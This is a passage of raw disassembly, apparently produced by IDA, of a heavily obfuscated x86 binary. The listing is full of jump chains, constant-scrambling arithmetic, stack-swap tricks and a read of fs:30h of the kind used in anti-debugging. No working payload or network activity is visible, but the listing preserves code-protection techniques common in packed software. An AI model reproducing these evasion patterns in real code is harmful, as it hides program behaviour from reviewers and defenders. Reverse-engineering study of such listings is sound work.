		mov	edx, 0DD5E106Fh
		call	sub_40E858
		jmp	loc_40D528
; END OF FUNCTION CHUNK	FOR sub_40A6F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40A780:				; CODE XREF: sub_40CC20-2A33j
		and	ebp, 48C2E7FBh
		jmp	loc_40BDDA
; END OF FUNCTION CHUNK	FOR sub_40CC20
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40A78C:				; CODE XREF: o45kw3t9:0040CCCFj
		jmp	loc_40AA2B
; ---------------------------------------------------------------------------


loc_40A791:				; CODE XREF: o45kw3t9:0040A987j
		jmp	loc_40DBAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40A796:				; CODE XREF: sub_40D740-45A8j
		jmp	nullsub_53
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40A79B:				; DATA XREF: sub_40A551+1ED8o
		call	sub_40A01C
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40A7A0:				; CODE XREF: sub_40A8E9-B0Ej
					; sub_40C683-D25j ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		push	offset loc_40A015
		jmp	nullsub_25
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40A7AF:				; CODE XREF: sub_40A3A2-E16j
		jz	loc_40C4BE
		jmp	loc_409061
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40A7BA:				; CODE XREF: sub_40FE86+223j
		add	eax, 4DDD2DBBh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40DFA2
		jmp	loc_40B879
; END OF FUNCTION CHUNK	FOR sub_40FE86

; =============== S U B	R O U T	I N E =======================================



sub_40A7CF	proc near		; CODE XREF: sub_409726:loc_40B0BEp
					; o45kw3t9:0040E332j

; FUNCTION CHUNK AT 0040CEF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D5A6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040E341 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040EB04 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	eax, [eax]
		popf


loc_40A7D6:				; CODE XREF: o45kw3t9:loc_40C508j
		call	sub_40DDDC


loc_40A7DB:				; CODE XREF: sub_40B1B3+9BAj
		jmp	loc_40D5A6
sub_40A7CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A7E0:				; CODE XREF: o45kw3t9:0040B6E1j
		jmp	loc_40E37C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B196


loc_40A7E5:				; CODE XREF: sub_40B196+8j
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_40B196
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40A7EB:				; DATA XREF: sub_40CF9A+6o
		pushf
		push	edx
		push	0DCA0E6F4h
		pop	edx
		jmp	loc_40E40A

; =============== S U B	R O U T	I N E =======================================



sub_40A7F8	proc near		; CODE XREF: o45kw3t9:0040C921j
					; sub_40D740+165Cp
		mov	[esp+0], edx
		pop	edx
		pop	ebp
		retn
sub_40A7F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A7FE:				; CODE XREF: o45kw3t9:0040DFBDj
		jmp	loc_40D833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECBD


loc_40A803:				; CODE XREF: sub_40ECBD:loc_40D6C9j
		ror	esi, 16h
		add	ebp, 2B5591C8h
		jmp	loc_40BD5A
; END OF FUNCTION CHUNK	FOR sub_40ECBD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE92


loc_40A812:				; CODE XREF: sub_40FE92+14j
		jmp	sub_40EA4C
; END OF FUNCTION CHUNK	FOR sub_40FE92
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40A818:				; CODE XREF: sub_40CC20+E21j
		jmp	loc_40CC41
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B029


loc_40A81D:				; CODE XREF: sub_40B029+2226j
		jmp	sub_40B029
; END OF FUNCTION CHUNK	FOR sub_40B029
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B14E


loc_40A822:				; CODE XREF: sub_40B14E:loc_40AB04j
		push	offset loc_40BB4A
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_40B14E
; ---------------------------------------------------------------------------


loc_40A82C:				; CODE XREF: o45kw3t9:loc_40D731j
		mov	[ebp-0Ch], eax


loc_40A82F:				; CODE XREF: o45kw3t9:0040A0B3j
					; o45kw3t9:0040CDABj ...
		push	offset loc_40D7D6
		jmp	locret_40B220

; =============== S U B	R O U T	I N E =======================================



sub_40A839	proc near		; CODE XREF: o45kw3t9:0040B713j
					; sub_40D996+6p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax]
		jnz	loc_40B8C9
		retn
sub_40A839	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A846	proc near		; CODE XREF: sub_40A235+14BBp

; FUNCTION CHUNK AT 0040BD22 SIZE 00000006 BYTES

		push	ebx
		push	ecx
		mov	eax, large fs:30h
		jmp	loc_40BD22
sub_40A846	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40A854:				; CODE XREF: sub_40DA15+16j
		jz	loc_410168


loc_40A85A:				; CODE XREF: sub_40D740+5FEj
		jmp	loc_40DDE8
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------
		cdq
		test	eax, ecx
		jmp	loc_40DC50
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: o45kw3t9:loc_40DAC4j
		mov	[ebp-10h], eax
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		and	eax, 7
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		jmp	loc_409CBD
; ---------------------------------------------------------------------------
		sbb	edi, 0E26CF43Dh
		jmp	sub_40A382
; ---------------------------------------------------------------------------


loc_40A88A:				; DATA XREF: sub_40D740-3B58o
		add	eax, ebp
		add	eax, 20CA10B0h
		mov	eax, [eax]
		mov	al, [eax]
		jnb	loc_4100FC
		sub	al, 99h
; START	OF FUNCTION CHUNK FOR sub_40CD2E


loc_40A89E:				; CODE XREF: sub_40CD2E:loc_40FBB9j
		mov	edx, [ebp-4]
		jmp	loc_40BA4F
; END OF FUNCTION CHUNK	FOR sub_40CD2E

; =============== S U B	R O U T	I N E =======================================



sub_40A8A6	proc near		; CODE XREF: sub_40BB73+14p
					; o45kw3t9:0041028Dj

; FUNCTION CHUNK AT 0040C1E0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040D021 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC30 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040E952 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040EF33 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		jnz	loc_40C1E0
		lea	edx, [ebp-14h]
		jmp	loc_40D021
sub_40A8A6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A8B8	proc near		; DATA XREF: o45kw3t9:loc_409B79o
		jmp	loc_40933A
sub_40A8B8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD2E


loc_40A8BE:				; CODE XREF: sub_40CD2E+2E9Dj
		jmp	sub_40AE3B
; END OF FUNCTION CHUNK	FOR sub_40CD2E
; ---------------------------------------------------------------------------


loc_40A8C3:				; CODE XREF: o45kw3t9:00409F11j
		jmp	loc_40C500
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		call	sub_40A91A
		jmp	loc_40DFD7
; ---------------------------------------------------------------------------


loc_40A8D9:				; CODE XREF: o45kw3t9:00409D9Bj
		jg	loc_40C052
		not	edx
		jmp	sub_40A551
; ---------------------------------------------------------------------------


loc_40A8E6:				; CODE XREF: o45kw3t9:0040E2B4j
		shl	esi, 7

; =============== S U B	R O U T	I N E =======================================



sub_40A8E9	proc near		; CODE XREF: sub_40943A+5920p

; FUNCTION CHUNK AT 00409B0C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409DD8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040BE0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D067 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040DE41 SIZE 0000000D BYTES

		mov	[esp+0], esi
		pop	esi
		mov	eax, [ebp-4]
		jmp	loc_40BE0E
sub_40A8E9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40A8F5:				; CODE XREF: sub_40CC20-EA1j
		js	sub_409A91
		popf
		jmp	loc_40ACE5
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4092B8


loc_40A901:				; CODE XREF: sub_4092B8+14j
		jz	loc_409A36
		jmp	loc_40D134
; END OF FUNCTION CHUNK	FOR sub_4092B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_40A90C:				; CODE XREF: sub_40F02A:loc_40CFB9j
		jnz	loc_40A43F
		jmp	loc_40CE0E
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_40A917:				; CODE XREF: sub_40DB3D:loc_4101F4j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40DB3D

; =============== S U B	R O U T	I N E =======================================



sub_40A91A	proc near		; CODE XREF: o45kw3t9:0040A8CFp
					; sub_40FEFA-543Cj

; FUNCTION CHUNK AT 00409CA8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00409E66 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040D434 SIZE 00000005 BYTES

		call	sub_40DB3D
		test	al, al
		jz	nullsub_8
		mov	eax, 0BB8h
		jmp	loc_409E66
sub_40A91A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 4
		mov	ds:dword_40E448, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C433


loc_40A93C:				; CODE XREF: sub_40C433+Fj
		jmp	loc_40C008
; END OF FUNCTION CHUNK	FOR sub_40C433
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C276


loc_40A941:				; CODE XREF: sub_40C276+6j
					; sub_409C62+2CD0j
		jmp	loc_409641
; END OF FUNCTION CHUNK	FOR sub_40C276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_40A946:				; CODE XREF: sub_40E6E8-46Bj
		ror	eax, 4
		push	10B1342Eh
		mov	[esp+0], eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------


loc_40A952:				; DATA XREF: sub_409726:loc_40AADBo
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_40C636
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		jmp	loc_40FAAB
; ---------------------------------------------------------------------------


loc_40A969:				; CODE XREF: o45kw3t9:0040BE34j
		mov	edx, 0BB931B55h
		push	ecx
		push	80504E53h
		pop	ecx
		add	ecx, 61F04E9h
		or	ecx, 950C3A7Dh
		add	ecx, 68D15EC9h
		jmp	loc_40A791
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40A98D:				; CODE XREF: sub_40C674+3F3j
		jbe	loc_40B86A
		xor	eax, 18113Ah
		mov	esi, 620D5C67h


loc_40A99E:				; CODE XREF: sub_40C674:loc_40EE5Aj
		push	9938C8FEh
		jmp	loc_4102FC
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECE1


loc_40A9A8:				; CODE XREF: sub_40ECE1-C7Fj
		xor	edi, 0A7B40F32h
		push	offset loc_4092EA
		jmp	nullsub_100
; END OF FUNCTION CHUNK	FOR sub_40ECE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AB88


loc_40A9B8:				; CODE XREF: sub_40AB88:loc_40FB3Fj
		or	ecx, ecx
		jz	loc_40A344
; END OF FUNCTION CHUNK	FOR sub_40AB88
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40A9C0:				; CODE XREF: sub_40C674:loc_4095DBj
		call	sub_40AAA3
		jnz	loc_40A344
		jmp	loc_40B651
; END OF FUNCTION CHUNK	FOR sub_40C674

; =============== S U B	R O U T	I N E =======================================



sub_40A9D0	proc near		; DATA XREF: o45kw3t9:0040F184o
		or	dword ptr [eax-8], 8
		jmp	loc_40AC01
sub_40A9D0	endp

; ---------------------------------------------------------------------------


loc_40A9D9:				; CODE XREF: o45kw3t9:0040A2FAj
					; o45kw3t9:0040A66Dj
		jnb	loc_40CE68
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_40AD26
		mov	eax, [ebp+8]
		call	sub_409416
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40A9F1:				; CODE XREF: sub_40C674+27ECj
		jo	loc_40F0F0
		jns	loc_40A55B
		jmp	loc_40CA61
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECE1


loc_40AA02:				; CODE XREF: sub_40ECE1-46C4j
		call	sub_40E187


loc_40AA07:				; CODE XREF: o45kw3t9:0040D9F2j
		jmp	loc_40E050
; END OF FUNCTION CHUNK	FOR sub_40ECE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40AA0C:				; CODE XREF: sub_409FA8+21C8j
		jns	loc_40E9A9
		jbe	loc_40E134


loc_40AA18:				; CODE XREF: o45kw3t9:loc_40FEC5j
		push	0A6B3F471h
		pop	eax
		xor	eax, 0A9F64252h
		add	eax, ebp
		jmp	loc_40C827
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------


loc_40AA2B:				; CODE XREF: o45kw3t9:loc_40A78Cj
		push	offset sub_40B218
		jmp	locret_40C253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E543


loc_40AA35:				; CODE XREF: sub_40E543:loc_40C48Bj
		or	eax, 8A20771h
		add	eax, 9296A877h
		xchg	eax, [esp+0]
		jmp	loc_40E3C0
; END OF FUNCTION CHUNK	FOR sub_40E543
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E027


loc_40AA4A:				; CODE XREF: sub_40E027:loc_40C9D3j
		shl	eax, 2
		push	offset sub_40F039
		jmp	loc_409887
; END OF FUNCTION CHUNK	FOR sub_40E027
; ---------------------------------------------------------------------------
		jnp	nullsub_95
		jmp	sub_40B0A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FBD0


loc_40AA62:				; CODE XREF: sub_40FBD0-460Aj
					; sub_410069:loc_40BE09j
		call	sub_40A3F3


loc_40AA67:				; CODE XREF: sub_40C298:loc_40FF0Ej
		call	sub_40E858
		push	eax
		rol	eax, 0Ch
		mov	ds:dword_40E3C8, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40FBD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_40AA77:				; CODE XREF: sub_40E786-2464j
		ror	eax, 0Ch
		jmp	loc_4094CB
; END OF FUNCTION CHUNK	FOR sub_40E786
; ---------------------------------------------------------------------------


loc_40AA7F:				; CODE XREF: o45kw3t9:loc_40E40Aj
		or	edx, 5945ADF9h
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40AA85:				; CODE XREF: sub_40D740:loc_40B7CCj
		cmp	edx, 55A7A64Ah
		jmp	loc_40FA17
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		sbb	ebx, edi
		push	7B0C2716h
		jmp	sub_40BA37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CB74


loc_40AA9C:				; CODE XREF: sub_40CB74+15j
		mov	eax, ebx
		jmp	loc_40A346
; END OF FUNCTION CHUNK	FOR sub_40CB74

; =============== S U B	R O U T	I N E =======================================



sub_40AAA3	proc near		; CODE XREF: sub_40BFBB-246Cp
					; sub_40C674:loc_40A9C0p ...
		mov	eax, [ebx+ecx]
		xor	eax, [ebx+ecx+4]
		cmp	eax, 7C61090Eh
		retn
sub_40AAA3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A180


loc_40AAB0:				; CODE XREF: sub_40A180+Dj
		jmp	loc_40C94F
; END OF FUNCTION CHUNK	FOR sub_40A180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FEFA


loc_40AAB5:				; CODE XREF: sub_40FEFA:loc_40FF09j
		add	ebx, 0B3B167DDh
		shr	esi, 9
		js	sub_40A91A
		jmp	loc_40E1E5
; END OF FUNCTION CHUNK	FOR sub_40FEFA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B004


loc_40AACA:				; CODE XREF: sub_40B004+22ABj
		jmp	nullsub_41
; END OF FUNCTION CHUNK	FOR sub_40B004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FA51


loc_40AACF:				; CODE XREF: sub_40FA51+10j
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_40FAAF
; END OF FUNCTION CHUNK	FOR sub_40FA51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40AADB:				; CODE XREF: sub_409726:loc_40B378j
		push	offset loc_40A952
		jmp	loc_409EAB
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------


loc_40AAE5:				; CODE XREF: o45kw3t9:0040905Cj
		sub	eax, 95A725D4h
		jmp	loc_40DAD3
; ---------------------------------------------------------------------------


loc_40AAF0:				; CODE XREF: o45kw3t9:00409038j
		mov	eax, ds:dword_40B35C
		or	eax, eax
		jnz	loc_40D1D0
		jmp	loc_40C54D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B14E


loc_40AB04:				; CODE XREF: sub_40B14E+953j
		jmp	loc_40A822
; END OF FUNCTION CHUNK	FOR sub_40B14E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_40AB09:				; CODE XREF: sub_410069-6D84j
		jl	loc_40DEC7


loc_40AB0F:				; CODE XREF: sub_410069:loc_40DFC2j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_409A3B
		jmp	loc_410206
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------
		test	eax, ecx
		jmp	loc_40CBF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097FC


loc_40AB27:				; CODE XREF: sub_4097FC:loc_40DFB1j
		or	ebp, 0BDB029BDh
		js	loc_40A1B3
		jmp	loc_40D569
; END OF FUNCTION CHUNK	FOR sub_4097FC
; ---------------------------------------------------------------------------


loc_40AB38:				; DATA XREF: sub_40C674-2ACCo
		xchg	ebp, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40AB3C:				; CODE XREF: sub_40B3E5+152Bj
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090F8


loc_40AB44:				; CODE XREF: sub_4090F8+45F9j
		jmp	loc_40AC23
; END OF FUNCTION CHUNK	FOR sub_4090F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B745


loc_40AB49:				; CODE XREF: sub_40B745+Dj
		jmp	loc_40E6C1
; END OF FUNCTION CHUNK	FOR sub_40B745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40AB4E:				; CODE XREF: sub_4096AC+19j
		jmp	loc_40EBB3
; END OF FUNCTION CHUNK	FOR sub_40909E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE7A


loc_40AB55:				; CODE XREF: sub_40CE7A+Bj
		jmp	nullsub_36
; END OF FUNCTION CHUNK	FOR sub_40CE7A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 31h
		dd 0E8000001h, 0FFFFFD64h, 29D4E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB55


loc_40AB69:				; CODE XREF: sub_40FB55:loc_409997j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C013
		jmp	loc_409A8C
; END OF FUNCTION CHUNK	FOR sub_40FB55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40AB78:				; CODE XREF: sub_40909E+16C3j
		jz	loc_40C61D
		jmp	loc_40D3C4
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------


loc_40AB83:				; CODE XREF: o45kw3t9:0040BA7Bj
		push	0F6945B08h

; =============== S U B	R O U T	I N E =======================================



sub_40AB88	proc near		; CODE XREF: o45kw3t9:0040EBE4p

; FUNCTION CHUNK AT 0040A9B8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040FB3F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_40FB3F
sub_40AB88	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40AB95:				; CODE XREF: o45kw3t9:0040B49Cj
		adc	eax, ecx
; START	OF FUNCTION CHUNK FOR sub_40B0A6


loc_40AB97:				; CODE XREF: sub_40B0A6:loc_40B485j
		and	edx, 73702E39h
		add	edx, 8FF0ACC8h
		push	offset loc_40B2F1
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_40B0A6
; ---------------------------------------------------------------------------
		jl	loc_40D797
		jmp	sub_40E692
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40ABB9:				; CODE XREF: sub_40909E+3A34j
		call	sub_40988C
		jmp	loc_40E8DD
; ---------------------------------------------------------------------------


loc_40ABC3:				; CODE XREF: sub_40909Ej
					; o45kw3t9:loc_40F1BAj
		push	offset sub_40E618
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECBD


loc_40ABCD:				; CODE XREF: sub_40ECBD+Cj
		jz	sub_40BD5C
		jmp	loc_40D6C9
; END OF FUNCTION CHUNK	FOR sub_40ECBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B540


loc_40ABD8:				; CODE XREF: sub_40B540+1EABj
		xor	edx, ebp
		rol	edx, 5
		add	edx, esp
		rol	edx, 5
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-8], 0
		jmp	loc_40BE91
; END OF FUNCTION CHUNK	FOR sub_40B540
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EFF0


loc_40ABEE:				; CODE XREF: sub_40EFF0:loc_40C3C3j
		sub	al, 99h
		push	offset sub_40AD51
		jmp	loc_409151
; END OF FUNCTION CHUNK	FOR sub_40EFF0

; =============== S U B	R O U T	I N E =======================================



sub_40ABFA	proc near		; CODE XREF: o45kw3t9:0040B94Dj
					; sub_40A7CF:loc_40CEF4j ...

; FUNCTION CHUNK AT 0040917B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004099A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409AC9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00409C38 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0040A0CA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040B69D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040BEA3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040C32E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CC7F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040CE4C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040D47F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DF3D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040E3AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ECFD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040FFAE SIZE 0000001B BYTES

		mov	[esp+0], ecx
		pop	ecx
		or	[edx-8], eax


loc_40AC01:				; CODE XREF: sub_40A9D0+4j
					; o45kw3t9:0040F172j ...
		jnz	loc_409AC9
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_40BEA3
		jmp	loc_4099A8
sub_40ABFA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	ecx, edx
		or	eax, 95E38136h
		jmp	sub_40C5F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090F8


loc_40AC23:				; CODE XREF: sub_4090F8:loc_40AB44j
		jz	loc_40FB02
		jmp	loc_40E82A
; END OF FUNCTION CHUNK	FOR sub_4090F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40AC2F	proc near		; CODE XREF: o45kw3t9:00409A22j
					; sub_40A447+2CBCp

; FUNCTION CHUNK AT 0040AEFD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040B074 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B4BF SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040CAF9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040CD65 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040D389 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D3B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DBA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DE5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FDAE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00410115 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410301 SIZE 00000008 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_40DBA3
sub_40AC2F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AC3D	proc near		; CODE XREF: o45kw3t9:0040B2BDj
					; sub_40D740+1D1p

; FUNCTION CHUNK AT 0040CA30 SIZE 00000007 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	eax
		rol	eax, 0Dh
		jmp	loc_40CA30
sub_40AC3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC4A	proc near		; CODE XREF: sub_40EF9A-5C65p
					; o45kw3t9:0040D00Aj
		mov	[esp+0], eax
		pop	eax
		push	9994B90Bh
		pop	eax
		sub	eax, 9CB71AE9h
		xor	eax, 409D988h
		add	eax, 0FAEFA0BBh
		jmp	loc_40AE08
sub_40AC4A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40AC6B:				; CODE XREF: o45kw3t9:loc_40D42Fj
		xor	edx, 243C37B4h
		add	edx, ebp
		add	edx, 0C31507F3h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_40B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40AC84:				; CODE XREF: sub_40D740-3FEEj
		xchg	esi, [esp+0]
		jmp	sub_40E858
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


